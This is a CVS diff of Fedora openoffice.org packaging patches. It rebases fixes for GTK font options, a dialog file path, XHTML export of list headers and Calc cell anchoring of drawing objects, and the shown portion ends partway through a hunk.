diff -u -p -r1.4 -r1.5
--- openoffice.org-3.0.0.ooo88303.vcl.dynamicfontoptions.patch	12 Feb 2009 14:25:02 -0000	1.4
+++ openoffice.org-3.0.0.ooo88303.vcl.dynamicfontoptions.patch	10 Oct 2009 15:48:45 -0000	1.5
@@ -83,9 +83,9 @@ diff -ru vcl/source/window/winproc.cxx v
 diff -ru vcl/unx/gtk/gdi/salnativewidgets-gtk.cxx vcl/unx/gtk/gdi/salnativewidgets-gtk.cxx
 --- openoffice.org.orig/vcl/unx/gtk/gdi/salnativewidgets-gtk.cxx	2008-04-15 08:44:28.000000000 +0100
 +++ openoffice.org/vcl/unx/gtk/gdi/salnativewidgets-gtk.cxx	2008-04-15 16:21:17.000000000 +0100
-@@ -3286,6 +3287,11 @@
-                  aStyleSet.GetWindowColor().IsDark() );
-     aStyleSet.SetHighContrastMode( bHC );
+@@ -3465,6 +3465,11 @@
+     //  FIXME: need some way of fetching toolbar icon size.
+ //	aStyleSet.SetToolbarIconSize( STYLE_TOOLBAR_ICONSIZE_SMALL );
  
 +    const cairo_font_options_t *pNewOptions = 0;
 +    if (GdkScreen* pScreen = gdk_display_get_screen( gdk_display_get_default(), m_nScreen ))

openoffice.org-3.0.0.ooo91924.svx.consistentordering.patch:
 optgdlg.cxx |   10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

Index: openoffice.org-3.0.0.ooo91924.svx.consistentordering.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org-3.0.0.ooo91924.svx.consistentordering.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- openoffice.org-3.0.0.ooo91924.svx.consistentordering.patch	7 Jan 2009 12:51:24 -0000	1.3
+++ openoffice.org-3.0.0.ooo91924.svx.consistentordering.patch	10 Oct 2009 15:48:45 -0000	1.4
@@ -1,5 +1,5 @@
---- openoffice.org.orig/svx/source/dialog/optgdlg.cxx	2008-08-29 08:29:20.000000000 +0100
-+++ openoffice.org/svx/source/dialog/optgdlg.cxx	2008-08-29 08:31:35.000000000 +0100
+--- openoffice.org.orig/svx/source/cui/optgdlg.cxx	2008-08-29 08:29:20.000000000 +0100
++++ openoffice.org/svx/source/cui/optgdlg.cxx	2008-08-29 08:31:35.000000000 +0100
 @@ -795,11 +795,11 @@
          switch( Application::GetSettings().GetStyleSettings().GetAutoSymbolsStyle() )
          {

openoffice.org-3.1.0.ooo101354.filter.xhtml.do-not-label-list-headers.patch:
 body.xsl |   42 +++++++++++++++++++++++++++++-------------
 1 file changed, 29 insertions(+), 13 deletions(-)

Index: openoffice.org-3.1.0.ooo101354.filter.xhtml.do-not-label-list-headers.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org-3.1.0.ooo101354.filter.xhtml.do-not-label-list-headers.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- openoffice.org-3.1.0.ooo101354.filter.xhtml.do-not-label-list-headers.patch	27 Apr 2009 06:02:35 -0000	1.1
+++ openoffice.org-3.1.0.ooo101354.filter.xhtml.do-not-label-list-headers.patch	10 Oct 2009 15:48:46 -0000	1.2
@@ -2,146 +2,145 @@ Index: filter/source/xslt/odf2xhtml/expo
 ===================================================================
 --- filter/source/xslt/odf2xhtml/export/xhtml/body.xsl	(revision 270524)
 +++ filter/source/xslt/odf2xhtml/export/xhtml/body.xsl	(working copy)
-@@ -1028,7 +1027,11 @@
- 		<xsl:param name="minLabelWidth"/>
- 		<xsl:param name="listIndent" />
- 
--
-+        <!-- The text:list-header shall not be labeled. According to ODF specification (sect. 4.3.2):
-+            "The <text:list-header> element represents a list header and is a special kind of list item. It
-+            contains one or more paragraphs that are displayed before a list. The paragraphs are formatted
-+            like list items but they do not have a preceding number or bullet." -->
-+        <xsl:variable name="isListHeader" select="boolean(self::text:list-header)"/>
- 		<xsl:variable name="listIndentNew">
- 			<xsl:choose>
- 				<xsl:when test="$listIndent">
-@@ -1046,13 +1049,16 @@
- 		<xsl:variable name="itemNumberNew">
- 			<xsl:if test="$listStyle/text:list-level-style-number">
- 				<xsl:choose>
-+                    <xsl:when test="$isListHeader">0</xsl:when>
- 					<xsl:when test="$isEmptyList">
- 						<!--  An empty list item (no text:h/text:p as child), will not count as item and does not increment the count.  -->
- 						<xsl:variable name="tempItemNumber">
- 							<xsl:choose>
- 								<!-- siblings will be incremented by one -->
- 								<xsl:when test="$itemNumber">
--									<xsl:value-of select="$itemNumber + 1"/>
-+                                    <xsl:if test="not($isListHeader)">
-+                                        <xsl:value-of select="$itemNumber + 1"/>
-+                                    </xsl:if>
- 								</xsl:when>
- 								<!-- if a higher list level had content the numbering starts with 1 -->
- 								<xsl:when test="$isListNumberingReset and $listLevel &gt; 1">
-@@ -1132,6 +1138,7 @@
- 							<xsl:when test="$display">
- 								<xsl:value-of select="$display"/>
- 							</xsl:when>
-+                            <xsl:when test="$isListHeader">0</xsl:when>
- 							<xsl:otherwise>1</xsl:otherwise>
- 						</xsl:choose>
- 					</xsl:with-param>
-@@ -1144,9 +1151,10 @@
- 		</xsl:variable>
- 		<xsl:element name="li">
- 			<xsl:choose>
--				<xsl:when test="$isEmptyList">
-+				<xsl:when test="$isEmptyList or $isListHeader">
- 					<xsl:apply-templates>
- 						<xsl:with-param name="globalData" select="$globalData"/>
-+                        <xsl:with-param name="isNextLevelNumberingReset" select="$isListHeader or $isNextLevelNumberingReset"/>
- 						<xsl:with-param name="itemLabel" select="$itemLabelNew"/>
- 						<xsl:with-param name="listLevel" select="$listLevel + 1"/>
- 						<xsl:with-param name="listStyleName" select="$listStyleName"/>
-@@ -1181,7 +1189,7 @@
- 					<xsl:apply-templates mode="first-list-child-margin-adaption" select="*[1]">
- 						<xsl:with-param name="globalData" select="$globalData"/>
- 						<xsl:with-param name="isEmptyList" select="$isEmptyList"/>
--						<xsl:with-param name="isNextLevelNumberingReset" select="$isNextLevelNumberingReset"/>
-+						<xsl:with-param name="isNextLevelNumberingReset" select="$isListHeader or $isNextLevelNumberingReset"/>
- 						<!-- The new created label is given to the children -->
- 						<xsl:with-param name="itemLabel" select="$itemLabelNew"/>
- 						<xsl:with-param name="listLabelElement" select="$listLabelElement"/>
-@@ -1225,7 +1233,7 @@
- 
- 
- 	<!-- The Numbering start value (or offset from regular counteing) is used at the first item of offset,
--	but have to be reused on following item/headers with no text:start-value -->
-+	but have to be reused on following items with no text:start-value -->
- 	<xsl:template name="getItemNumber">
- 		<xsl:param name="listLevel"/>
- 		<xsl:param name="listLevelStyle"/>
-@@ -1261,6 +1269,9 @@
- 			the level 3 gets a 'pseudoLevel' -->
- 		<xsl:param name="pseudoLevel" select="0" />
- 
-+        <xsl:variable name="isListHeader" select="boolean(self::text:list-header)"/>
-+        <xsl:variable name="isEmptyList" select="not(*[name() = 'text:h' or name() = 'text:p'])"/>
-+
- 		<!-- set the next of preceding list items. Starting from the current to the next previous text:list-item -->
- 		<xsl:variable name="precedingListItemOfSameLevelAndStyle" select="$precedingListItemsOfSameLevelAndStyle[$precedingListItemsOfSameLevelAndStyleCount - $IteratorSameLevelAndStyle + 1]"/>
- 		<xsl:variable name="precedingListItemOfSameStyle" select="$precedingListItemsOfSameStyle[$precedingListItemsOfSameStyleCount - $IteratorSameStyle + 1]"/>
-@@ -1293,7 +1304,7 @@
- 								<xsl:when test="$currentListLevel &lt; $listLevel">
- 									<xsl:choose>
- 										<!-- if it has content the counting is ended -->
--										<xsl:when test="*[name() = 'text:h' or name() = 'text:p']">
-+										<xsl:when test="not($isEmptyList or $isListHeader)">
- 											<!-- 2DO: Perhaps the children still have to be processed -->
- 											<xsl:value-of select="$itemNumber + $pseudoLevel"/>
- 										</xsl:when>
-@@ -1348,7 +1359,7 @@
- 										<xsl:with-param name="pseudoLevel">
- 											<xsl:choose>
- 												<!-- empty list item does not count -->
--												<xsl:when test="not(*[name() = 'text:h' or name() = 'text:p'])">
-+												<xsl:when test="$isEmptyList or $isListHeader">
- 													<xsl:value-of select="$pseudoLevel"/>
- 												</xsl:when>
- 												<xsl:otherwise>1</xsl:otherwise>
-@@ -1381,11 +1392,14 @@
- 		<xsl:param name="precedingListItemsOfSameStyleCount"/>
- 		<xsl:param name="pseudoLevel" />
- 
-+        <xsl:variable name="isListHeader" select="boolean(self::text:list-header)"/>
-+        <xsl:variable name="isEmptyList" select="not(*[name() = 'text:h' or name() = 'text:p'])"/>
-+
- 		<xsl:choose>
- 			<xsl:when test="@text:start-value">
- 				<xsl:choose>
--					<xsl:when test="not(*[name() = 'text:h' or name() = 'text:p'])">
--						<!-- empty list item does not count -->
-+					<xsl:when test="$isEmptyList or $isListHeader">
-+						<!-- empty list item does not count. neither does list header -->
- 						<xsl:call-template name="countListItemTillStartValue">
- 							<xsl:with-param name="IteratorSameLevelAndStyle" select="$IteratorSameLevelAndStyle + 1" />
- 							<xsl:with-param name="IteratorSameStyle" select="$IteratorSameStyle + 1"/>
-@@ -1407,8 +1421,8 @@
- 			</xsl:when>
- 			<xsl:when test="$listLevelStyle/@text:start-value">
- 				<xsl:choose>
--					<xsl:when test="not(*[name() = 'text:h' or name() = 'text:p'])">
--						<!-- empty list item does not count -->
-+                    <xsl:when test="$isEmptyList or $isListHeader">
-+                        <!-- empty list item does not count. neither does list header -->
- 						<xsl:call-template name="countListItemTillStartValue">
- 							<xsl:with-param name="IteratorSameLevelAndStyle" select="$IteratorSameLevelAndStyle + 1" />
- 							<xsl:with-param name="IteratorSameStyle" select="$IteratorSameStyle + 1"/>
-@@ -1430,8 +1444,8 @@
- 			</xsl:when>
- 			<xsl:otherwise>
- 				<xsl:choose>
--					<xsl:when test="not(*[name() = 'text:h' or name() = 'text:p'])">
--						<!-- empty list item does not count -->
-+                    <xsl:when test="$isEmptyList or $isListHeader">
-+                        <!-- empty list item does not count. neither does list header -->
- 						<xsl:call-template name="countListItemTillStartValue">
- 							<xsl:with-param name="IteratorSameLevelAndStyle" select="$IteratorSameLevelAndStyle + 1" />
- 							<xsl:with-param name="IteratorSameStyle" select="$IteratorSameStyle + 1"/>
-@@ -1911,4 +1925,4 @@
- 
- 	<xsl:template match="math:annotation" mode="math"/>
- 
+@@ -1735,6 +1735,11 @@
+         <xsl:param name="minLabelWidth"/>
+         <xsl:param name="listIndent" />
+ 
++        <!-- The text:list-header shall not be labeled. According to ODF specification (sect. 4.3.2):
++            "The <text:list-header> element represents a list header and is a special kind of list item. It
++            contains one or more paragraphs that are displayed before a list. The paragraphs are formatted
++            like list items but they do not have a preceding number or bullet." -->
++        <xsl:variable name="isListHeader" select="boolean(self::text:list-header)"/>
+ 
+         <xsl:variable name="listIndentNew">
+             <xsl:choose>
+@@ -1753,13 +1758,16 @@
+         <xsl:variable name="itemNumberNew">
+             <xsl:if test="$listStyle/text:list-style/text:list-level-style-number">
+                 <xsl:choose>
++                    <xsl:when test="$isListHeader">0</xsl:when>
+                     <xsl:when test="$isEmptyList">
+ 						<!--  An empty list item (no text:h/text:p as child), will not count as item and does not increment the count.  -->
+                         <xsl:variable name="tempItemNumber">
+                             <xsl:choose>
+ 								<!-- siblings will be incremented by one -->
+                                 <xsl:when test="$itemNumber">
+-                                    <xsl:value-of select="$itemNumber + 1"/>
++                                    <xsl:if test="not($isListHeader)">
++                                        <xsl:value-of select="$itemNumber + 1"/>
++                                    </xsl:if>
+                                 </xsl:when>
+ 								<!-- if a higher list level had content the numbering starts with 1 -->
+                                 <xsl:when test="$isListNumberingReset and $listLevel &gt; 1">
+@@ -1834,6 +1842,7 @@
+                             <xsl:when test="$display">
+                                 <xsl:value-of select="$display"/>
+                             </xsl:when>
++                            <xsl:when test="$isListHeader">0</xsl:when>
+                             <xsl:otherwise>1</xsl:otherwise>
+                         </xsl:choose>
+                     </xsl:with-param>
+@@ -1844,9 +1853,10 @@
+         </xsl:variable>
+         <xsl:element name="li">
+             <xsl:choose>
+-                <xsl:when test="$isEmptyList">
++                <xsl:when test="$isEmptyList or $isListHeader">
+                     <xsl:apply-templates>
+                         <xsl:with-param name="globalData" select="$globalData"/>
++                        <xsl:with-param name="isNextLevelNumberingReset" select="$isListHeader or $isNextLevelNumberingReset"/>
+                         <xsl:with-param name="itemLabel" select="$itemLabelNew"/>
+                         <xsl:with-param name="listLevel" select="$listLevel + 1"/>
+                         <xsl:with-param name="listStyleName" select="$listStyleName"/>
+@@ -1857,7 +1867,7 @@
+                     <xsl:apply-templates mode="list-item-children" select="*[1]">
+                         <xsl:with-param name="globalData" select="$globalData"/>
+                         <xsl:with-param name="isEmptyList" select="$isEmptyList"/>
+-                        <xsl:with-param name="isNextLevelNumberingReset" select="$isNextLevelNumberingReset"/>
++                        <xsl:with-param name="isNextLevelNumberingReset" select="$isListHeader or $isNextLevelNumberingReset"/>
+ 						<!-- The new created label is given to the children -->
+                         <xsl:with-param name="itemLabel" select="$itemLabelNew"/>
+                         <xsl:with-param name="listLabelElement">
+@@ -2056,7 +2066,7 @@
+ 
+ 
+ 	<!-- The Numbering start value (or offset from regular counteing) is used at the first item of offset,
+-	but have to be reused on following item/headers with no text:start-value -->
++	but have to be reused on following items with no text:start-value -->
+     <xsl:template name="getItemNumber">
+         <xsl:param name="listLevel"/>
+         <xsl:param name="listLevelStyle"/>
+@@ -2091,6 +2101,9 @@
+ 			the level 3 gets a 'pseudoLevel' -->
+         <xsl:param name="pseudoLevel" select="0" />
+ 
++        <xsl:variable name="isListHeader" select="boolean(self::text:list-header)"/>
++        <xsl:variable name="isEmptyList" select="not(*[name() = 'text:h' or name() = 'text:p'])"/>
++
+ 		<!-- set the next of preceding list items. Starting from the current to the next previous text:list-item -->
+         <xsl:variable name="precedingListItemOfSameLevelAndStyle" select="$precedingListItemsOfSameLevelAndStyle[$precedingListItemsOfSameLevelAndStyleCount - $IteratorSameLevelAndStyle + 1]"/>
+         <xsl:variable name="precedingListItemOfSameStyle" select="$precedingListItemsOfSameStyle[$precedingListItemsOfSameStyleCount - $IteratorSameStyle + 1]"/>
+@@ -2123,7 +2136,7 @@
+                                 <xsl:when test="$currentListLevel &lt; $listLevel">
+                                     <xsl:choose>
+ 										<!-- if it has content the counting is ended -->
+-                                        <xsl:when test="*[name() = 'text:h' or name() = 'text:p']">
++                                        <xsl:when test="not($isEmptyList or $isListHeader)">
+ 											<!-- 2DO: Perhaps the children still have to be processed -->
+                                             <xsl:value-of select="$itemNumber + $pseudoLevel"/>
+                                         </xsl:when>
+@@ -2178,7 +2191,7 @@
+                                         <xsl:with-param name="pseudoLevel">
+                                             <xsl:choose>
+ 												<!-- empty list item does not count -->
+-                                                <xsl:when test="not(*[name() = 'text:h' or name() = 'text:p'])">
++                                                <xsl:when test="$isEmptyList or $isListHeader">
+                                                     <xsl:value-of select="$pseudoLevel"/>
+                                                 </xsl:when>
+                                                 <xsl:otherwise>1</xsl:otherwise>
+@@ -2211,11 +2224,14 @@
+         <xsl:param name="precedingListItemsOfSameStyleCount"/>
+         <xsl:param name="pseudoLevel" />
+ 
++        <xsl:variable name="isListHeader" select="boolean(self::text:list-header)"/>
++        <xsl:variable name="isEmptyList" select="not(*[name() = 'text:h' or name() = 'text:p'])"/>
++
+         <xsl:choose>
+             <xsl:when test="@text:start-value">
+                 <xsl:choose>
+-                    <xsl:when test="not(*[name() = 'text:h' or name() = 'text:p'])">
+-						<!-- empty list item does not count -->
++                    <xsl:when test="$isEmptyList or $isListHeader">
++						<!-- empty list item does not count. neither does list header -->
+                         <xsl:call-template name="countListItemTillStartValue">
+                             <xsl:with-param name="IteratorSameLevelAndStyle" select="$IteratorSameLevelAndStyle + 1" />
+                             <xsl:with-param name="IteratorSameStyle" select="$IteratorSameStyle + 1"/>
+@@ -2237,8 +2253,8 @@
+             </xsl:when>
+             <xsl:when test="$listLevelStyle/@text:start-value">
+                 <xsl:choose>
+-                    <xsl:when test="not(*[name() = 'text:h' or name() = 'text:p'])">
+-						<!-- empty list item does not count -->
++                    <xsl:when test="$isEmptyList or $isListHeader">
++						<!-- empty list item does not count. neither does list header -->
+                         <xsl:call-template name="countListItemTillStartValue">
+                             <xsl:with-param name="IteratorSameLevelAndStyle" select="$IteratorSameLevelAndStyle + 1" />
+                             <xsl:with-param name="IteratorSameStyle" select="$IteratorSameStyle + 1"/>
+@@ -2260,8 +2276,8 @@
+             </xsl:when>
+             <xsl:otherwise>
+                 <xsl:choose>
+-                    <xsl:when test="not(*[name() = 'text:h' or name() = 'text:p'])">
+-						<!-- empty list item does not count -->
++                    <xsl:when test="$isEmptyList or $isListHeader">
++						<!-- empty list item does not count. neither does list header -->
+                         <xsl:call-template name="countListItemTillStartValue">
+                             <xsl:with-param name="IteratorSameLevelAndStyle" select="$IteratorSameLevelAndStyle + 1" />
+                             <xsl:with-param name="IteratorSameStyle" select="$IteratorSameStyle + 1"/>
+@@ -2838,4 +2854,4 @@
+     <xsl:template match="math:annotation" mode="math"/>
+     
+  
 -</xsl:stylesheet>
 \ No newline at end of file
-+</xsl:stylesheet>
++</xsl:stylesheet>

openoffice.org-3.1.0.ooo102061.sc.cellanchoring.patch:
 inc/document.hxx                                |    4 
 inc/drwlayer.hxx                                |   11 
 inc/userdat.hxx                                 |    5 
 source/core/data/documen3.cxx                   |    4 
 source/core/data/drwlayer.cxx                   |  374 +++++++++++-------------
 source/core/data/postit.cxx                     |    1 
 source/core/tool/detfunc.cxx                    |    5 
 source/filter/xml/XMLExportIterator.hxx         |    2 
 source/filter/xml/XMLTableShapeImportHelper.cxx |   62 ++-
 source/filter/xml/XMLTableShapeResizer.cxx      |  298 ++-----------------
 source/filter/xml/XMLTableShapeResizer.hxx      |   37 --
 source/filter/xml/xmlexprt.cxx                  |   60 ---
 source/filter/xml/xmlimprt.cxx                  |    2 
 source/filter/xml/xmlsubti.cxx                  |   10 
 source/filter/xml/xmlsubti.hxx                  |   13 
 source/ui/Accessibility/AccessibleDocument.cxx  |   32 --
 source/ui/drawfunc/drawsh2.cxx                  |    2 
 source/ui/drawfunc/drawsh5.cxx                  |   10 
 source/ui/inc/drawview.hxx                      |    5 
 source/ui/unoobj/shapeuno.cxx                   |   63 +---
 source/ui/view/drawvie3.cxx                     |   43 ++
 source/ui/view/drawview.cxx                     |   37 --
 22 files changed, 382 insertions(+), 698 deletions(-)

Index: openoffice.org-3.1.0.ooo102061.sc.cellanchoring.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org-3.1.0.ooo102061.sc.cellanchoring.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- openoffice.org-3.1.0.ooo102061.sc.cellanchoring.patch	5 Jun 2009 11:43:09 -0000	1.1
+++ openoffice.org-3.1.0.ooo102061.sc.cellanchoring.patch	10 Oct 2009 15:48:46 -0000	1.2
@@ -15,7 +15,7 @@ diff -ru sc.orig/inc/document.hxx sc/inc
 diff -ru sc.orig/inc/drwlayer.hxx sc/inc/drwlayer.hxx
 --- sc.orig/inc/drwlayer.hxx	2009-06-04 12:39:49.000000000 +0100
 +++ sc/inc/drwlayer.hxx	2009-06-04 12:40:23.000000000 +0100
-@@ -110,13 +110,11 @@
+@@ -110,12 +110,10 @@
  	BOOL			bHyphenatorSet;
  
  private:
@@ -24,13 +24,12 @@ diff -ru sc.orig/inc/drwlayer.hxx sc/inc
  	void			MoveCells( SCTAB nTab, SCCOL nCol1,SCROW nRow1, SCCOL nCol2,SCROW nRow2,
  								SCsCOL nDx,SCsROW nDy );
  
- 	void			RecalcPos( SdrObject* pObj,
--                        const ScDrawObjData& rData,
-+                        ScDrawObjData& rData,
-                         const ScAddress& rOldStart,
-                         const ScAddress& rOldEnd,
-                         bool bNegativePage );
-@@ -201,8 +199,11 @@
+-    void            RecalcPos( SdrObject* pObj, const ScDrawObjData& rData, bool bNegativePage );
++    void            RecalcPos( SdrObject* pObj, ScDrawObjData& rData, bool bNegativePage );
+ 
+ public:
+ 					ScDrawLayer( ScDocument* pDocument, const String& rName );
+@@ -197,8 +195,11 @@
  	void			EnsureGraphicNames();
  
  	// Verankerung setzen und ermitteln
@@ -88,7 +87,7 @@ diff -ru sc.orig/source/core/data/docume
 diff -ru sc.orig/source/core/data/drwlayer.cxx sc/source/core/data/drwlayer.cxx
 --- sc.orig/source/core/data/drwlayer.cxx	2009-06-04 12:39:09.000000000 +0100
 +++ sc/source/core/data/drwlayer.cxx	2009-06-05 12:28:12.000000000 +0100
-@@ -69,6 +69,9 @@
+@@ -70,6 +70,9 @@
  #include <vcl/svapp.hxx>
  #include <unotools/ucbstreamhelper.hxx>
  
@@ -98,11 +97,11 @@ diff -ru sc.orig/source/core/data/drwlay
  #include "drwlayer.hxx"
  #include "drawpage.hxx"
  #include "global.hxx"
-@@ -526,7 +529,41 @@
+@@ -527,7 +530,41 @@
  	}
  }
  
--void ScDrawLayer::RecalcPos( SdrObject* pObj, const ScDrawObjData& rData,
+-void ScDrawLayer::RecalcPos( SdrObject* pObj, const ScDrawObjData& rData, bool bNegativePage )
 +namespace
 +{
 +    //Can't have a zero width dimension
@@ -137,11 +136,11 @@ diff -ru sc.orig/source/core/data/drwlay
 +    }
 +}
 +
-+void ScDrawLayer::RecalcPos( SdrObject* pObj, ScDrawObjData& rData,
-         const ScAddress& rOldStart, const ScAddress& /*rOldEnd*/, bool bNegativePage )
++void ScDrawLayer::RecalcPos( SdrObject* pObj, ScDrawObjData& rData, bool bNegativePage )
  {
  	DBG_ASSERT( pDoc, "ScDrawLayer::RecalcPos - missing document" );
-@@ -562,6 +599,8 @@
+ 	if( !pDoc )
+@@ -569,6 +606,8 @@
  
  	if( bCircle )
  	{
@@ -150,7 +149,7 @@ diff -ru sc.orig/source/core/data/drwlay
  		Point aPos( pDoc->GetColOffset( nCol1, nTab1 ), pDoc->GetRowOffset( nRow1, nTab1 ) );
  		TwipsToMM( aPos.X() );
  		TwipsToMM( aPos.Y() );
-@@ -582,11 +621,18 @@
+@@ -589,11 +628,18 @@
  		{
  			if (bRecording)
  				AddCalcUndo( new SdrUndoGeoObj( *pObj ) );
@@ -170,7 +169,7 @@ diff -ru sc.orig/source/core/data/drwlay
  		//!	nicht mehrere Undos fuer ein Objekt erzeugen (hinteres kann dann weggelassen werden)
  
  		if( bValid1 )
-@@ -605,6 +651,8 @@
+@@ -612,6 +658,8 @@
  			{
  				if (bRecording)
  					AddCalcUndo( new SdrUndoGeoObj( *pObj ) );
@@ -179,7 +178,7 @@ diff -ru sc.orig/source/core/data/drwlay
  				pObj->SetPoint( aStartPos, 0 );
  			}
  
-@@ -619,6 +667,8 @@
+@@ -626,6 +674,8 @@
  				{
  					if (bRecording)
  						AddCalcUndo( new SdrUndoGeoObj( *pObj ) );
@@ -188,7 +187,7 @@ diff -ru sc.orig/source/core/data/drwlay
  					pObj->SetPoint( aEndPos, 1 );
  				}
  			}
-@@ -639,6 +689,8 @@
+@@ -646,6 +696,8 @@
  			{
  				if (bRecording)
  					AddCalcUndo( new SdrUndoGeoObj( *pObj ) );
@@ -197,7 +196,7 @@ diff -ru sc.orig/source/core/data/drwlay
  				pObj->SetPoint( aEndPos, 1 );
  			}
  
-@@ -655,45 +707,68 @@
+@@ -662,45 +714,68 @@
  				{
  					if (bRecording)
  						AddCalcUndo( new SdrUndoGeoObj( *pObj ) );
@@ -271,7 +270,7 @@ diff -ru sc.orig/source/core/data/drwlay
  	}
  }
  
-@@ -868,151 +943,6 @@
+@@ -875,151 +950,6 @@
  	return pRet;
  }
  
@@ -423,7 +422,7 @@ diff -ru sc.orig/source/core/data/drwlay
  void ScDrawLayer::MoveArea( SCTAB nTab, SCCOL nCol1,SCROW nRow1, SCCOL nCol2,SCROW nRow2,
  							SCsCOL nDx,SCsROW nDy, BOOL bInsDel )
  {
-@@ -1054,11 +984,6 @@
+@@ -1061,11 +991,6 @@
  			aTopLeft.Y() += aMove.Y();
  	}
  
@@ -435,7 +434,7 @@ diff -ru sc.orig/source/core/data/drwlay
  		//
  		//		Detektiv-Pfeile: Zellpositionen anpassen
  		//
-@@ -1096,8 +1021,6 @@
+@@ -1103,8 +1028,6 @@
  		aTopLeft.X() = -aTopLeft.X();
  		nDifTwips = -nDifTwips;
  	}
@@ -444,7 +443,7 @@ diff -ru sc.orig/source/core/data/drwlay
  }
  
  void ScDrawLayer::HeightChanged( SCTAB nTab, SCROW nRow, long nDifTwips )
-@@ -1128,8 +1051,6 @@
+@@ -1135,8 +1058,6 @@
  		MirrorRectRTL( aRect );
  		aTopLeft.X() = -aTopLeft.X();
  	}
@@ -453,17 +452,13 @@ diff -ru sc.orig/source/core/data/drwlay
  }
  
  BOOL ScDrawLayer::HasObjectsInRows( SCTAB nTab, SCROW nStartRow, SCROW nEndRow )
-@@ -1807,30 +1728,105 @@
+@@ -1814,35 +1735,105 @@
  	}
  }
  
 -void ScDrawLayer::SetAnchor( SdrObject* pObj, ScAnchorType eType )
 +namespace
- {
--	// Ein an der Seite verankertes Objekt zeichnet sich durch eine Anker-Pos
--	// von (0,1) aus. Das ist ein shabby Trick, der aber funktioniert!
--	Point aAnchor( 0, eType == SCA_PAGE ? 1 : 0 );
--	pObj->SetAnchorPos( aAnchor );
++{
 +    SdrObjUserData* GetFirstUserDataOfType(const SdrObject *pObj, UINT16 nId)
 +    {
 +        USHORT nCount = pObj ? pObj->GetUserDataCount() : 0;
@@ -527,10 +522,15 @@ diff -ru sc.orig/source/core/data/drwlay
 +}
 +
 +void ScDrawLayer::UpdateCellAnchorFromPositionEnd( SdrObject &rObj, const ScDocument &rDoc, SCTAB nTab )
-+{
+ {
+-    ScAnchorType eOldAnchorType = GetAnchor( pObj );
 +    Rectangle aObjRect(rObj.GetLogicRect());
 +    ScRange aRange = rDoc.GetRange( nTab, aObjRect );
-+
+ 
+-    // Ein an der Seite verankertes Objekt zeichnet sich durch eine Anker-Pos
+-	// von (0,1) aus. Das ist ein shabby Trick, der aber funktioniert!
+-	Point aAnchor( 0, eType == SCA_PAGE ? 1 : 0 );
+-	pObj->SetAnchorPos( aAnchor );
 +    ScDrawObjData* pAnchor = GetObjData( &rObj, true );
 +    pAnchor->maEnd = aRange.aEnd;
 +
@@ -543,7 +543,9 @@ diff -ru sc.orig/source/core/data/drwlay
 +    else
 +        pAnchor->maEndOffset.X() = aCellRect.Right()-aObjRect.Left();
 +}
-+
+ 
+-    if ( eOldAnchorType != eType )
+-        pObj->notifyShapePropertyChange( ::svx::eSpreadsheetAnchor );
 +void ScDrawLayer::SetPageAnchored( SdrObject &rObj )
 +{
 +    DeleteFirstUserDataOfType(&rObj, SC_UD_OBJDATA);
@@ -575,7 +577,7 @@ diff -ru sc.orig/source/core/data/drwlay
  	if( pObj && bCreate )
  	{
  		ScDrawObjData* pData = new ScDrawObjData;
-@@ -1867,15 +1863,7 @@
+@@ -1879,15 +1870,7 @@
  
  ScIMapInfo* ScDrawLayer::GetIMapInfo( SdrObject* pObj )				// static
  {
@@ -592,7 +594,7 @@ diff -ru sc.orig/source/core/data/drwlay
  }
  
  // static:
-@@ -1928,7 +1916,7 @@
+@@ -1940,7 +1923,7 @@
  		else if ( pObj->ISA( SdrOle2Obj ) ) // OLE-Objekt
  		{
              // TODO/LEAN: working with visual area needs running state
@@ -601,7 +603,7 @@ diff -ru sc.orig/source/core/data/drwlay
  			bObjSupported = TRUE;
  		}
  
-@@ -1946,14 +1934,9 @@
+@@ -1958,14 +1941,9 @@
  
  ScMacroInfo* ScDrawLayer::GetMacroInfo( SdrObject* pObj, BOOL bCreate )             // static
  {
@@ -622,14 +624,14 @@ diff -ru sc.orig/source/core/data/drwlay
 diff -ru sc.orig/source/core/data/postit.cxx sc/source/core/data/postit.cxx
 --- sc.orig/source/core/data/postit.cxx	2009-06-04 12:39:10.000000000 +0100
 +++ sc/source/core/data/postit.cxx	2009-06-04 12:40:23.000000000 +0100
-@@ -125,7 +125,6 @@
-     mpCaption = new SdrCaptionObj( aTextRect, aTailPos );
+@@ -102,7 +102,6 @@
  
-     // basic settings
--    ScDrawLayer::SetAnchor( mpCaption, SCA_PAGE );
-     mpCaption->SetLayer( bShown ? SC_LAYER_INTERN : SC_LAYER_HIDDEN );
-     mpCaption->SetFixedTail();
-     mpCaption->SetSpecialTextBoxShadow();
+ void ScCaptionUtil::SetBasicCaptionSettings( SdrCaptionObj& rCaption, bool bShown )
+ {
+-    ScDrawLayer::SetAnchor( &rCaption, SCA_PAGE );
+     SetCaptionLayer( rCaption, bShown );
+     rCaption.SetFixedTail();
+     rCaption.SetSpecialTextBoxShadow();
 diff -ru sc.orig/source/core/tool/detfunc.cxx sc/source/core/tool/detfunc.cxx
 --- sc.orig/source/core/tool/detfunc.cxx	2009-06-04 12:39:11.000000000 +0100
 +++ sc/source/core/tool/detfunc.cxx	2009-06-04 12:40:23.000000000 +0100
@@ -775,9 +777,9 @@ diff -ru sc.orig/source/filter/xml/xmlex
 diff -ru sc.orig/source/filter/xml/xmlimprt.cxx sc/source/filter/xml/xmlimprt.cxx
 --- sc.orig/source/filter/xml/xmlimprt.cxx	2009-06-04 12:39:13.000000000 +0100
 +++ sc/source/filter/xml/xmlimprt.cxx	2009-06-04 15:23:47.000000000 +0100
-@@ -2772,7 +2772,7 @@
-         if (pDoc)
-             pDoc->CompileXML();
+@@ -2813,7 +2813,7 @@
+         }
+ 
          aTables.UpdateRowHeights();
 -        aTables.ResizeShapes();
 +        aTables.FixupOLEs();
@@ -787,7 +789,7 @@ diff -ru sc.orig/source/filter/xml/xmlim
 diff -ru sc.orig/source/filter/xml/xmlsubti.cxx sc/source/filter/xml/xmlsubti.cxx
 --- sc.orig/source/filter/xml/xmlsubti.cxx	2009-06-04 12:39:13.000000000 +0100
